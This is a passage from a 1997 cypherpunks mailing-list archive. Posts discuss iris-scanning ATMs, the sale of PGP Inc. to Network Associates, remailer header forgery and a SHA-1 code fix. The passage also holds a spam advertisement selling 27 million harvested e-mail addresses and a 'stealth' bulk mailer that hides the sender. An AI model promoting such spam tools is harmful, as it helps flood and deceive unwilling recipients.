any more information on that, please let us know. -- - Igor. ---------------------------------------------------------------------------- char*p="char*p=%c%s%c;main(){printf(p,34,p,34);}";main(){printf(p,34,p,34);} From shamrock at cypherpunks.to Mon Dec 1 13:27:20 1997 From: shamrock at cypherpunks.to (Lucky Green) Date: Tue, 2 Dec 1997 05:27:20 +0800 Subject: Big Brother Is Watching ATMs In-Reply-To: Message-ID: On Mon, 1 Dec 1997, Vin McLellan wrote: > G'day Jonathan, > > Could you please identify this "bank card company" by name, card, > nation, etc. ? > > Without some explicit cite of a commercial entity -- or a reference > to some "strip-'em-naked-with-electrons" Police R&D group like the guys at > Rome AFB -- this report sounds like another of those ID-Implant fantasies > circulated by the guys who are bolting steel plate to their screen doors > and programming their backyard AA to auto-target (a) Black Helicopters (b) > which are on low-level rapid approach (c) full Oriental, Arab, and Hispanic > troopers (c) wearing Blue Helmets. "There are, however, two companies working on devices that examine the human iris, the most notably being IrisScan who owns the patent. The technique's major advantage over retina scans is that it does not require the user to focus on a target, because the iris pattern is on the eye's surface. In fact, the video image of an eye can be taken from several up to 3 feet away, and the user does not have to interact actively with the device. Sensar, a company that has licensed the iris scanning technology from IriScan hopes to position its IrisIdent product into ATMs in the coming years." http://www.ctst.com/ff_industry.html I suggest you contact the manufacturer for more information. -- Lucky Green PGP v5 encrypted email preferred. "Tonga? Where the hell is Tonga? They have Cypherpunks there?" From declan at well.com Mon Dec 1 13:52:12 1997 From: declan at well.com (Declan McCullagh) Date: Tue, 2 Dec 1997 05:52:12 +0800 Subject: Solveig Singleton on "Brave New Partners in Net censorship" Message-ID: ---------- Forwarded message ---------- Date: Mon, 01 Dec 1997 16:26:03 -0500 From: Solveig Singleton To: declan at well.com Op-ed: Brave New Partners In Internet Censorship by Solveig Singleton (solveig at cato.org) Solveig Singleton is the director of information studies at the Cato Institute. A few short months ago, the Supreme Court declared that the First Amendment protects the Internet just as it protects booksellers, newspapers and books when it found the Communications Decency Act (CDA) unconstitutional. That critical ruling signaled censorious governments in countries like Argentina, China, Germany and Zambia that the United States would not provide a precedent for blocking undesirable Internet content. Yet now the computer industry flirts with technologies of "self-censorship" at a December Internet summit under the guiding hand of the Clinton administration. The summit, called Focus on Children, poses subtle new dangers to free speech on the Internet. The First Amendment keeps the government out of the business of controlling media content. Private citizens are free to follow their consciences in choosing their own reading material and guiding their children to seek out or avoid certain information. There's no First Amendment objection when a newspaper editor refuses to print an article or when parents take books away from their children, or use a "censorware" program like SurfWatch in their own homes. The private sector is allowed to edit, to exclude and to silence speech). The public sector is not. But the summit's organizers call for "partnership" between industry and government in keeping "inappropriate" material from children. President Clinton is expected to attend. The summit emerged from a July meeting of President Clinton, Vice President Gore and some of the groups involved in the lawsuit against the Communications Decency Act. As it blurs the line between public and private, the Focus on Children summit becomes government action disguised as parental action. Filtering software like SurfWatch and the Platform for Internet Content Selection (PICS) -- a computer language standard that allows labels to be attached to Internet content -- are fine as long as they stay in the private sector, driven by customer demand and free choice. There's no need for a summit to make that happen. With nothing better to do, politicians and sensationalists are likely to use the occasion to shine a media spotlight on the dangers of the Internet. Government pressure will make it all the more likely that the computer industry will be unable to resist calls for mandatory PICS or universal filters built into the fabric of the Internet itself. Disturbingly, the summit's program suggests that free speech rights do not necessarily rank high in the sponsors' priorities. Its sponsors include, for example, the conservative group Enough is Enough; the summit's Web site links to their pro-CDA arguments but not to anti-CDA sites. While some opponents of the CDA are involved, defenders of free speech such as the American Civil Liberties Union are conspicuously absent. Documents promoting the summit describe the CDA as "well intentioned" and note that "supporters and opponents of the CDA agree that children should not have access to inappropriate material on the Internet or in any other medium. The real question is, how best to do it." The right question is whether government has any proper place at the table discussing any of these issues -- and especially in determining what is "inappropriate." The answer is a resounding no. Furthermore, government involvement is not necessary. The vendors of filtering programs have reason enough to ensure that parents are aware of their products. Government involvement promotes political, centralized solutions to what should be private problems. The V-chip is a prime example. Before lawmakers chose to mandate V-chips, entrepreneurs and private groups competed to help parents monitor their children's viewing habits, offering dozens of different blocking technologies as well as ratings and reviews of programs from diverse perspectives. Now the monopoly V-chip threatens to shoulder those offerings out of the picture. Freedom of speech on the Internet offers hope to millions of people around the world who live under political regimes that stifle their access to information. But the Internet's freedom depends on its technology. Politicians should be ashamed to set a precedent in this country by pressuring the industry to engineer this freedom out. We do not need a V-chip for the Internet any more than we need a rating system for libraries or bookstores. ### Solveig Singleton (202) 789-5274 (202) 842-3490 (fax) Director of Information Studies Cato Institute 1000 Mass. Ave. NW Washington, DC 20001 From pooh at efga.org Mon Dec 1 14:28:57 1997 From: pooh at efga.org (Robert A. Costner) Date: Tue, 2 Dec 1997 06:28:57 +0800 Subject: Big Brother Is Watching ATMs In-Reply-To: Message-ID: <3.0.3.32.19971201170711.03a67820@mail.atl.bellsouth.net> At 11:37 AM 12/1/97 -0800, Paul Pomes wrote: >Thomas J. Drury walks up to the automated-teller machine in his suburban >office and swipes his bank card. Instead of punching in a secret code, >however, he stares straight ahead. The machine verifies his identity by >looking at his eyes. > >If Mr. Drury, chief executive officer of Sensar Corp., and his colleagues >have their way, this eye-scanning technology will become standard equipment >on ATMs around the world. It is being tested by NCR Corp. and Citicorp, >among others. As wonderful as eye scanning technology may sound, it promises to offer very weak identification and only be reliable in the short run. This is based on the premise that a reproduction of an eye will work as well. Just as a reproduction of a driver's license seems to work for check forgery. PINs offer security based on the fact that they are a secret. Not a shared secret. For comparison, take a look at the authentication procedure of the SSA and Wells Fargo bank. Over the internet, both want Social Security Number Date of Birth Mother's Maiden Name Imagine a bank machine requesting the same info as the only prerequisite for dispensing cash! This info might have been a method of secure authentication about the time I was born, but today, such info is almost common knowledge. This no longer is a secret, too many people have the info. Widespread use of eye scanners will provide the same results. As databases are built, and sold, the raw info becomes available and automated tellers become excellent targets for fake authentications. If you get it wrong, you just walk away. Eye scans may help aid authentication, but they should not take the place of PINs. -- Robert Costner Phone: (770) 512-8746 Electronic Frontiers Georgia mailto:pooh at efga.org http://www.efga.org/ run PGP 5.0 for my public key From vin at shore.net Mon Dec 1 14:47:28 1997 From: vin at shore.net (Vin McLellan) Date: Tue, 2 Dec 1997 06:47:28 +0800 Subject: PGP Inc Sold for $35M - News Flash Message-ID: "PGP acquired by merged security software firm. "Pretty Good Privacy, an encryption company foundered by crypto pioneer Phil Zimmermann, has been acquired by Network Associates, the result of the merger of McAfee Associates and Network General, which closed today. "Network Associates will pay $35 million in cash for PGP. " -- No confirmation or further information available on the PGP, McAfee, or Network General web pages. _Vin Vin McLellan + The Privacy Guild + 53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548 -- <@><@> -- From stewarts at ix.netcom.com Mon Dec 1 14:50:05 1997 From: stewarts at ix.netcom.com (stewarts at ix.netcom.com) Date: Tue, 2 Dec 1997 06:50:05 +0800 Subject: Pasting in From: In-Reply-To: <199712011450.PAA27128@basement.replay.com> Message-ID: <3.0.3.32.19971201125046.006d2f34@popd.ix.netcom.com> At 03:50 PM 12/01/1997 +0100, Amad3us wrote: >Then it has to allow you to put headers back in otherwise you can't >interoperate with software. Eg pasting in References:, Subject: Pasting those in isn't controversial, and is generally supported; you could be using Subject: pasting today with most remailers, using the ## syntax. >(I would like to see Cc: and Bcc: being allowed to be pasted in also). At minimum, addresses in Cc: and Bcc: need to be checked against blocking lists, and it's probably worth checking the number of names in the list against some threshold - especialy Bcc:s, which tend to be popularly used by spamware. >I would also like to see From: pasted in. In fact I can see no >purpose to restrict what can be pasted in, other than to reduce >complaints to the remailer operator possibly. Too easy to be abused by forgers, as are Reply-To: and Sender:. >My software shows be all headers. I am not sure what other software >would do, probably, only display the first From field (the remailers). MSMail and other closed systems are generally quite arrogant about only showing you the mail headers they "know" you want to see, and discarding the rest, whether that's what you want or not. Lots of mail clients only show you one From:, either discarding others or making them available in a "Show all headers" mode. >However you'll notice that my address is: > Amad3us >which means that I would like it to be pasted in as it is replyable >(for encrypted mail) even though not being a nymserver account. Which is a bit annoying, by the way, for cypherpunks who don't want to read your mail :-) On the other hand, alt.anonymous.messages is a fine place for people to send replies, and you can do things like alt.anonymous.messages at mail2news.some-relay-server.com At one time, there was a message-pool service on the extropia remailer which forwarded anything retrieved to all its subscribers; if the list is small it's not much protection, but it's one way to obscure mail sent to middleman remailers. There are other remailer-like systems that provide mailboxes for anonymous retrieval; I think Jenaer does something like that. And then of course there are hotmail and juno :-) Thanks! Bill Bill Stewart, stewarts at ix.netcom.com Regular Key PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From stewarts at ix.netcom.com Mon Dec 1 14:53:34 1997 From: stewarts at ix.netcom.com (stewarts at ix.netcom.com) Date: Tue, 2 Dec 1997 06:53:34 +0800 Subject: Pasting in From: In-Reply-To: Message-ID: <3.0.3.32.19971201120355.006d2f34@popd.ix.netcom.com> -----BEGIN PGP SIGNED MESSAGE----- >On Sun, 30 Nov 1997, Lance Cottrell wrote: >> [Spam baiting, forged mailing list subscriptions] These are easy enough; the address-munging gets rid of these and also things like forgings to alt.test and other bots, though eventually the spammers may catch on to "User Foo com" etc. The hard problem is >> Forged postings with deplorable content will bring down retribution >> on the forgery victim. I shut down my remailer a few years ago because of this one; the forger posted hate mail to the gay newsgroups with the victim's name at the bottom (didn't even use From: pasting, just message body.) Supporting From: pasting just encourages this. It's possible to cancel the one forged usenet message, but that didn't stop the flames many people emailed to her, and fewer systems are accepting cancels these days, especially when forged by remailers... Besides Usenet, other popular tactics for retribution are sending death threats to politicians, sending child pornography to mailing lists, forging messages _from_ politicians, etc. Disclaimer/warning headers help, but can't stop it all. At 10:07 AM 12/01/1997 -0500, Andy Dustman wrote: >Two basic points also about "forgeries". First, you can forge headers >pretty easily without any programs other than telnet. Second, if this This was before Gary Burnore's attacks on the remailer networks, but it's also an obvious tactic for either flamers or Feds to use for getting remailers shut down. If somebody forges a Usenet posting with telnet, it's not _your_ problem (usually). If they use your remailer, it is your problem. And if they get remailers closed down a lot, it's all of our problems. >2) Whenever a From: line is pasted, a disclaimer will be inserted at the >top of the body, stating that the original sender has set the From: line, >and that the identification cannot be verified. The fact that it is up at >the top of the body should mean people should actually see it before >reacting. It's worth also repeating it at the bottom. Putting it in the headers is invisible with most newsreaders, though. By the way, one technical risk with From:-pasting is that you need to parse or substitute special characters including parens and anglebrackets. Otherwise it's easy for people to paste in syntactically incorrect headers, which really annoy some gateways and mail clients - nested parens are a particular problem. Basically, I think you're getting yourself in for excitement and adventure and really wild stuff by supporting this :-) -----BEGIN PGP SIGNATURE----- Version: PGP for Personal Privacy 5.0 Charset: noconv iQBVAwUBNIMYKvthU5e7emAFAQFg6wH9HhJ2RJA0SVBAGZ7hu4mo/dtc6PzPB5+g NP2utlAEDSbuTrchPKVw4SkZOdkRWlXLD3nmCsdOScIjuZOQtY8nKw== =vqyf -----END PGP SIGNATURE----- Thanks! Bill Bill Stewart, stewarts at ix.netcom.com Regular Key PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From stewarts at ix.netcom.com Mon Dec 1 15:02:07 1997 From: stewarts at ix.netcom.com (stewarts at ix.netcom.com) Date: Tue, 2 Dec 1997 07:02:07 +0800 Subject: Pasting in From: In-Reply-To: <35071a4de8a2c6f6cf77914c7747760d@anonymous.poster> Message-ID: <3.0.3.32.19971201123444.006d2f34@popd.ix.netcom.com> At 12:14 AM 12/01/1997 -0500, Robert A. Costner wrote: >Best I can tell, the only reasonable good purpose for this is to create a >persistent nym identity without a reply to capability. Actually, setting the reply to point to your nymserver address is the one legitimate use I can see for it, though that capability probably should be provided by the nymserver. The reason for chaining through remailers is to gain anonymity. >I would think the best way to put in a persistent nym capability would be >to database the PGP key id's along with the persistent identity. But you don't need a special anonymity server to do that; a keyserver plus either a personna certificate or some archiving mechanism is enough. The certificate shows that you're the first+only person at that certificate issuer to use the name you've chosen; the archive shows that the first poster using the name used PGP Key . I have a PGP key I use for signing pseudonyms which performs the personna certificate function - I'll verify uniqueness of keys that I've signed. > This also keeps someone from stealing another's reputation capital. The PGP signature key is enough to do that, and without the digital signature there's no way to prevent forgery. (I've got mixed feelings about whether to sign a key for a name who has a known history without having the key attached. I've signed Black Unicorn's, but the other nyms I've signed have been for users who announced their key along with their initial use of the nym.) Thanks! Bill Bill Stewart, stewarts at ix.netcom.com Regular Key PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From vin at shore.net Mon Dec 1 15:15:46 1997 From: vin at shore.net (Vin McLellan) Date: Tue, 2 Dec 1997 07:15:46 +0800 Subject: PGP Inc Sold for $35M - News Flash Message-ID: Network Associates Acquires Pretty Good Privacy (PGP) 04:46 p.m Dec 01, 1997 Eastern Standard Time SANTA CLARA, Calif., Dec. 1 /PRNewswire/ -- Network Associates, Inc. (Nasdaq: NETA, commencing Dec. 2), formerly McAfee Associates (Nasdaq: MCAF), announced today that it has a signed a definitive agreement to acquire privately-held Pretty Good Privacy, Inc. (PGP). The PGP acquisition extends Network Associates' network security and management software products with the leading applied cryptographic security solutions for protecting corporate assets and enabling secure electronic communication. According to an Ernst and Young study, top threats to network security include virus attack, sabotage from inside the firewall and sabotage from outside the firewall. The combination of PGP and Network Associates unites leaders in addressing these corporate security threats. Network Associates' McAfee anti-virus security software is used by over 25 million users and more than 80% of the Fortune 500. With more than four million users in 50 countries, PGP is the worldwide de facto standard for Internet email and file encryption. "The synergy across our product lines is phenomenal," said Bill Larson, chairman and CEO of Network Associates. "We will now be able to provide an integrated software solution for securing both corporate networks and enterprise data." "There is a pressing need for comprehensive, integrated security solutions," said Phil Dunkelberger, general manager of Network Associates' Total Network Security Division, (formerly president and CEO of PGP.) "The combination of resources and talent of the respective companies will provide customers with a premier enterprise-scale security solution." Network Associates leads the way in providing large corporate customers with integrated network security and management suites. Network Associates' Total Virus Defense Suite incorporates client, server and gateway protection against computer viruses, and is a leading offering in its class. The PGP encryption and management products, including the PGP Business Security Suite, will be the cornerstone for a complementary suite offered by Network Associates called the Total Network Security Suite. By combining Network Associates' intrusion and virus detection products with Business Security Suite's desktop encryption software, and key server and policy management tools, the Total Network Security Suite will address, in a single solution, the needs of network administrators and corporate security officers. PGP has long been a pioneer in the security industry, contributing significantly to many of the principles that have driven the industry. Network Associates will continue to support the guiding principles that have made PGP a successful technology. These principles include a commitment to strong encryption and open standards. Network Associates will build on the progress made with the Internet Engineering Task Force, including RFC2015 and the Open PGP working group, to develop standards for security designed to unify industry practice. The acquisition, which is expected to close on or about December 15, 1997, is subject to PGP stockholder approval and other customary closing conditions. Members of PGP's board of directors and management, and certain other major PGP stockholders have agreed separately with Network Associates to vote their PGP shares in favor of the acquisition. The aggregate consideration payable in the acquisition is approximately $36 million (payable at closing in cash and the assumption of certain liabilities) and warrants to acquire a specified number of shares of Network Associates common stock. The acquisition will be accounted for under the purchase method of accounting. In accordance with generally accepted accounting principle, Network Associates expects to incur a significant charge to earnings for the Dec. 31, 1997 quarter related to the purchase of in-process research and development. With headquarters in Santa Clara, Calif., Network Associates, Inc., formerly McAfee Associates, is a leading supplier of enterprise network security and management solutions. Network Associates' product offering includes four individual software suites, Total Virus Defense, Total Network Security, Total Network Visibility and Total ServiceDesk, which can be centrally managed from within the Network Associates' NetTools unified management environment. For more information, Network Associates can be reached at 408-988-3832 or on the Web at http://www.networkassociates.com. This news release contains forward-looking statements within the meaning of Section 27A of the Securities Act of 1933, as amended, and Section 21E of the Securities Exchange Act of 1934, as amended. Because such statements apply to future events, they are subject to risks and uncertainties that could cause the actual results to differ materially, including without limitation, integration risks related to the proposed transaction and the risk that the proposed transaction will not be consummated. Important factors which could cause actual results to differ materially are described in Network Associates' reports on Form 10-K and 10-Q filed with the Securities and Exchange Commission. SOURCE Network Associates, Inc. Vin McLellan + The Privacy Guild + 53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548 -- <@><@> -- From nobody at REPLAY.COM Mon Dec 1 15:17:27 1997 From: nobody at REPLAY.COM (Anonymous) Date: Tue, 2 Dec 1997 07:17:27 +0800 Subject: Is Tim May guilty of illegally advocating revolution? Message-ID: <199712012255.XAA26038@basement.replay.com> There's a fallacy which is quite common on this list, especially among members whose positions are otherwise indefensible. It's surprising in a way because this fallacy is more common among statists. There, the fallacy goes like this: if it is immoral, then it must be illegal. We see this all the time. People think of the government as their way of expressing moral values. Drugs are wrong, so they must be made illegal. Discrimination in employment is wrong, so it also must be illegal. We have countless bad laws based on this false premise. On this list we see the same fallacy, turned around: if it is legal, it must be moral. Someone is attacked for posting some vicious, hateful, immoral rant, and they respond that what they said was legal, because of freedom of speech and the First Amendment. Their critic must be opposed to free speech if he objects to their words. Confusing what is legal and what is moral is a dangerous game. It leads to the false reasoning of the statists. We must remember that there is a clear distinction between morality and legality. We all agree with freedom of speech. People should be able to say whatever they like without fear of legal consequences. Cypherpunk technologies can play a major part in assuring this freedom. But this does not mean that all speech is equally valid. If someone calls for murder and they are attacked for it, it does no good for them to hide behind the First Amendment. Their words are wrong - they will have harmful consequences if followed. They cheapen life, and work against the goals we share of a future based on cooperation rather than cooercion. Cypherpunks are intelligent enough not to be fooled by this attempt to use the principle of free speech to justify calls for violence and murder. It's no wonder, really, that people like May and Vulis attempt to confuse the issue by pretending that their critics are opposed to freedom of speech. They know that if they are judged by their own words, their character is revealed for all to see. Any smokescreen is welcome if it helps conceal their vicious, hateful nature. From pooh at efga.org Mon Dec 1 15:52:57 1997 From: pooh at efga.org (Robert A. Costner) Date: Tue, 2 Dec 1997 07:52:57 +0800 Subject: Pasting in From: In-Reply-To: <3.0.3.32.19971201001413.03a6d40c@mail.atl.bellsouth.net> Message-ID: <3.0.3.32.19971201182334.03900444@mail.atl.bellsouth.net> At 12:34 PM 12/1/97 -0800, stewarts at ix.netcom.com wrote: >But you don't need a special anonymity server to do that; >a keyserver plus either a personna certificate or some archiving mechanism is enough. >The certificate shows that you're the first+only person at that >certificate issuer to use the name you've chosen; the archive >shows that the first poster using the name used PGP Key . >I have a PGP key I use for signing pseudonyms which performs >the personna certificate function - I'll verify uniqueness >of keys that I've signed. I was thinking of remailers sending out anon messages with a distinct from line that has zero connection (in the nym database) to any email address. Is this possible? To establish a nym only through one way communication? -- Robert Costner Phone: (770) 512-8746 Electronic Frontiers Georgia mailto:pooh at efga.org http://www.efga.org/ run PGP 5.0 for my public key From schear at lvdi.net Mon Dec 1 16:05:10 1997 From: schear at lvdi.net (Steve Schear) Date: Tue, 2 Dec 1997 08:05:10 +0800 Subject: Death Penalty Expanded In-Reply-To: Message-ID: >On a completely unrelated note, is there some interest in starting up a >"Cypherpunks Nuclear Physics Study Group"? I recently finished reading >"The Curve of Binding Energy". Fascinating book. Yes, but how about expanding the focus generally to WOMD (Weapons of Mass Destruction)? --Steve From gbroiles at netbox.com Mon Dec 1 16:46:49 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Tue, 2 Dec 1997 08:46:49 +0800 Subject: Panel names released for Bernstein hrg on 12/8 Message-ID: <3.0.5.32.19971201163747.03d5b7a0@208.139.48.24> I just spoke with someone in the clerk's office at the Ninth Circuit - the composition of the panel of judges for next Monday's hearing in the Bernstein case has been released. The judges are Bright, Fletcher, and (Thomas) Nelson. I haven't been able to find information about Judge Bright, but found pages of (meager) ratings/discussion about Fletcher and Nelson at: and I think that Judge Bright may be Myron H. Bright, a senior justice on the 8th Circuit, who sometimes sits on 9th circuit cases by designation. -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | Export jobs, not crypto. http://www.io.com/~gbroiles | http://www.parrhesia.com From xxxxxx at ix.netcom.com Mon Dec 1 16:47:04 1997 From: xxxxxx at ix.netcom.com (steve) Date: Tue, 2 Dec 1997 08:47:04 +0800 Subject: PGP bought by McAfee Message-ID: <348356EF.21C4@ix.netcom.com> >"Network Associates, Inc. >(Nasdaq: NETA, commencing Dec. 2), formerly McAfee Associates >(Nasdaq: MCAF), announced today that it has a signed a definitive >agreement to acquire privately-held Pretty Good Privacy, Inc. (PGP)." Varous Questions, comments rants, etc.: Does anyone know how this will affect PGP's: security, commitment to no-GAK, Founder (P. Zimmerman), the continuation of the PGP product line? I heard that McAfee's PCCrypto product will still be sold by NETA as a retail product, (are they considering incorperating the 2 together and just using PGP's team for R&D?) steve -- A picture tells a thousand words. Stego From kent at songbird.com Mon Dec 1 16:56:52 1997 From: kent at songbird.com (Kent Crispin) Date: Tue, 2 Dec 1997 08:56:52 +0800 Subject: Big Brother Is Watching ATMs In-Reply-To: <2367.881005036@zelkova.qualcomm.com> Message-ID: <19971201164447.17774@songbird.com> On Mon, Dec 01, 1997 at 05:07:11PM -0500, Robert A. Costner wrote: [...] > > As wonderful as eye scanning technology may sound, it promises to offer > very weak identification and only be reliable in the short run. This is > based on the premise that a reproduction of an eye will work as well. Just > as a reproduction of a driver's license seems to work for check forgery. > > PINs offer security based on the fact that they are a secret. Not a shared > secret. For comparison, take a look at the authentication procedure of the > SSA and Wells Fargo bank. Over the internet, both want > > Social Security Number > Date of Birth > Mother's Maiden Name > > Imagine a bank machine requesting the same info as the only prerequisite > for dispensing cash! This info might have been a method of secure > authentication about the time I was born, but today, such info is almost > common knowledge. This no longer is a secret, too many people have the > info. Widespread use of eye scanners will provide the same results. As > databases are built, and sold, the raw info becomes available and automated > tellers become excellent targets for fake authentications. If you get it > wrong, you just walk away. > > Eye scans may help aid authentication, but they should not take the place > of PINs. >From "Government Computer News", 1997-11-24 Optical character recognition converts an image into usable text. But what if the character you want to recognize is a human being? Try Visionics Corp's FaceIt PC 3.0, which works with a digital video camera to secure a desktop computer against intruders. The GCN Lab staff members were skeptical at first. After all, OCR and voice recognition are still not mature technologies, and face recognition applications are greener still. FaceIt surprised us -- pleasantly. [description of test environment, and test] The software can be set to require a smile or blink from any person attempting access...[I suppose you could stick out your tongue...] ...During testing, the software never misidentified anyone, nor was it fooled if a user wore or removed glasses. Visionics claims that changes in facial hair will not cause misidentification, but we didn't test that claim. http://www.FaceIt.com -- Kent Crispin "No reason to get excited", kent at songbird.com the thief he kindly spoke... PGP fingerprint: B1 8B 72 ED 55 21 5E 44 61 F4 58 0F 72 10 65 55 http://songbird.com/kent/pgp_key.html From alan at ctrl-alt-del.com Mon Dec 1 17:25:28 1997 From: alan at ctrl-alt-del.com (Alan) Date: Tue, 2 Dec 1997 09:25:28 +0800 Subject: PGP Inc Sold for $35M - News Flash In-Reply-To: Message-ID: On Mon, 1 Dec 1997, Vin McLellan wrote: > > > "PGP acquired by merged security software firm. > > "Pretty Good Privacy, an encryption company foundered by crypto pioneer > Phil Zimmermann, has been acquired by Network Associates, the result of the > merger of McAfee Associates and Network General, which closed today. > > "Network Associates will pay $35 million in cash for PGP. " Not good news. As I remember McAfee was one of the "Key Recovery Aliance Partners". "Everyoner has their price." - Guy Grand alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply Alan Olsen | to my mail, just hit the ctrl, alt and del keys. From aba at dcs.ex.ac.uk Mon Dec 1 17:25:50 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Tue, 2 Dec 1997 09:25:50 +0800 Subject: Digital Signatures In-Reply-To: Message-ID: <199712020101.BAA01602@server.test.net> Anonymous writes: > > You also need to be able to compute SHA1 hashes. I've been using > > something called "sha1file" which, I believe, originated at Adam > > Back's web site. > > That program has a bug. The routine SHA1_update in the file sha1.c > is missing a line: > > while ( ctx->mlen == 64 ) > { > convert_to_bigendian( (word32*)ctx->M, 64 ); > SHA1_transform( ctx ); > use = min( 64, data_len ); > memcpy( ctx->M, data, use ); > ctx->mlen = use; > data_len -= use; > *** data += use; *** MISSING *** > } > > Correcting this will make your hashes be correct. The version on my web pages for the last couple of versions has this bug fixed. http://www.dcs.ex.ac.uk/~aba/eternity/sha1.tgz Adam -- Now officially an EAR violation... Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/ print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 --- begin forwarded text MIME-Version: 1.0 Date: Mon, 1 Dec 1997 11:45:58 -0500 Reply-To: Digital Signature discussion Sender: Digital Signature discussion From: Ben Wright Subject: California Comments: To: digsig-post To: DIGSIG at VM.TEMPLE.EDU The California Secretary of State has published the final draft of his digital signature regulations at . The final draft contemplates both dual-key signatures and signature dynamics like PenOp. --Ben Wright From 20145708 at juno.com Tue Dec 2 10:13:27 1997 From: 20145708 at juno.com (20145708 at juno.com) Date: Tue, 2 Dec 1997 10:13:27 -0800 (PST) Subject: ===BULK E.MAIL 27 MILLION HOMES=== Message-ID: <(2cust86.max8.tampa.fl.ms.uu.net[154.15.136.45])withSMPTid RAA15607> JUST RELEASED... 27,000,000 Email Addresses! Plus 12 Bonuses... Including FREE bulk e.mail software. These addresses are less than 21 days old. EARN INSANE PROFITS WITH THE RIGHT FORMULA If you have a product, service, or message that you would like to get out to Thousands, Hundreds of Thousands, or even Millions of people, you have several options.Traditional methods include print advertising, direct mail, radio, and television advertising. They are all effective, but they all have two catches: They're EXPENSIVE and TIME CONSUMING. Not only that, you only get ONE SHOT at making your message heard, by the right people. The INTERNET, the "Global Communications Frontier" has changed this dramatically, including making countless individuals wealthy. "Electronic Marketing," as it's commonly referred to, has effectively leveled the playing fields of all types businesses. AmeriNet has been in the online marketing business for over 5 years. We can help make your goals come true. We have helped many individuals succeed in marketing their product effectively. It's very simple to do. In fact soon you will have the problem of what to do with all the cash you will make from sending out bulk email. Here is just one of many true success stories we have seen... We did a mailing of 1 1/2 million emails for one of our customers. He was selling a home workers manual for $29.95. His results are very typical and scary. He took in over 700 orders! 700 x $29.95 = $20,000. This gentleman was so amazed, that after being skeptical, it had really happened to him, he made it, he found a niche. That niche was email! He went on to buy our full list and will be set for life in less than six months time. All this from selling a simple manual via e.mail. That was just one of the many success stories we hear everyday. It may all sound to good to be true. Well, we can tell you this. It really does work. Why else are so many individuals doing it? They are not just wasting their time. They are all making mega bucks. Don't even hesitate on this one or you will miss out on the most effective way to market anywhere..PERIOD! HERE'S THE BOTTOM LINE AND WHAT WE CAN DO FOR YOU Here is what you get when you order today! >> 27 Million Email Addresses... 1 per line in simple text format on a CD. Multiple files of 250,000 or greater (no codes needed to open files). You will receive email addresses of the following domains... AOL, PRODIGY, COMPUSERVE, DELPHI, GENIE, JUNO, PIPELINE, INTERAMP, MSN, MCI, and 5 MILLION OTHER MIXED EMAIL ADDRESSES (.com, .net). All names listed above are seperated in files by domain name for your convenience. PLUS THESE BONUS SPECIALS... >> 2 Free Bulk Email Programs...Pegasus and Eudora. You will be able to load our names into these 2 Distribution List Software's (which will create Distribution Lists Saving you hours of work) for immediate, around the clock launching! You can whip out as many distribution lists as you like, and depending on the speed of your modem and the length of your message, you will be able to send out around 10,000 to 30,000 messages per hour for free. >>"Stealth Mass Mailer" Bulk Email Demo. This is the most popular bulk emailer in the world. You can test drive it for free. This product sends over 250,000 per hour. >> Super Note Pad... This software will help manage your large text files for you. >> Winzip Self Extractor... This program will be needed when de-compressing a compressed file. It will come in handy when dealing with files of zip format. >> Over 5,000 Places To Advertise For Free! >> "Profits 2500 Series"... 7 manuals that will teach you how to market on the internet and what offers work and which ones to stay clear of. Also we will show you where to find web designers for free and much, much more. YOU GET EVERYTHING FOR ONLY $199.00 >>>SPECIAL BONUS... If you order within 48 hours you can deduct $50.00 from the listed price. Limited time only! We have previously sold the seven manuals alone for over $400. Now you can have the complete package for the low price of only $149.00 Don't even hesitate on this one.. Reserve yours today! All lists are completely free of any Duplicates. We also on a continual basis, add New Names and Remove Undeliverables and Remove Requests. The result is the Cleanest Email Addresses Available Anywhere to use over and over again, for a FRACTION of the cost that other companies charge. Typical rates for acquiring email lists are from 1 cent to as high as 3 cents per email address - that's "INFORMATION HIGHWAY" ROBBERY!. How do I protect my e.mail address? 1st of all, send your e.mail with the Stealth Mass Mailer. This program will protect your email address while sending your e.mail at speeds of up to 250,000 messages per hour (28.8 connection). 2nd, collect your inquiries and remove requests via AutoResponders . Using AutoResponders, you don't even have to read the flames. Just move them to your remove list and forget about them! Start earning mega money and get started now! If you have ANY further questions please feel free to contact us anytime at: amerinet at prodigy.com and please type "QUESTIONS" in the subject line. To order our email package, simply print out the EZ Order form below and fax or call us anytime. We accept Visa ,Mastercard,American Express, Personal Check or Money Order. ---------------------------------------- EZ Order Form Please fax your order form to: 561-833-3968 Or call our 24 Hour Order Line at: 1-330-438-0229 (orders only) We will deduct an additional $5.00 for all phone and faxed orders. _____Yes! I would like to order your 27,000,000 email addresses Plus all the bonuses for only $199.00 _____I am ordering within 48 Hours! Please deduct $50.00 from the price making the total only $149.00 *Please select one of the following for shipping. ____I would like to receive my package OVERNIGHT. I'm including $12 for shipping. ____I would like to receive my package PROIRITY delivery. I'm including $4 for shipping. ____Please add $10.00 for all orders from outside the U.S. DATE_____________________________________________________ NAME____________________________________________________ ADDRESS_________________________________________________ CITY, STATE, ZIP__________________________________________ PHONE NUMBER_________________________________________ EMAIL ADDRESS__________________________________________ TYPE OF CREDIT CARD: ______VISA _____MASTERCARD____AMERICAN EXPRESS CREDIT CARD# __________________________________________ EXPIRATION DATE________________________________________ NAME ON CARD__________________________________________ AMOUNT $___________________ SIGNATURE:x________________________ DATE:x__________________ ---------------------------------------------------- Best of Luck!! We apologize if this e.mail was sent to you in error. To be permanently removed from all mailing lists simply send any e.mail to: remove at bulkcenter.com Thank You! From stewarts at ix.netcom.com Mon Dec 1 18:15:24 1997 From: stewarts at ix.netcom.com (stewarts at ix.netcom.com) Date: Tue, 2 Dec 1997 10:15:24 +0800 Subject: McAfee buys PGP Inc. Message-ID: <3.0.3.32.19971201175356.006d6dd8@popd.ix.netcom.com> http://www.pgp.com/newsroom/prel47.cgi Network Associates (formerly known as McAfee) is buying PGP Inc. Network Associates Acquires 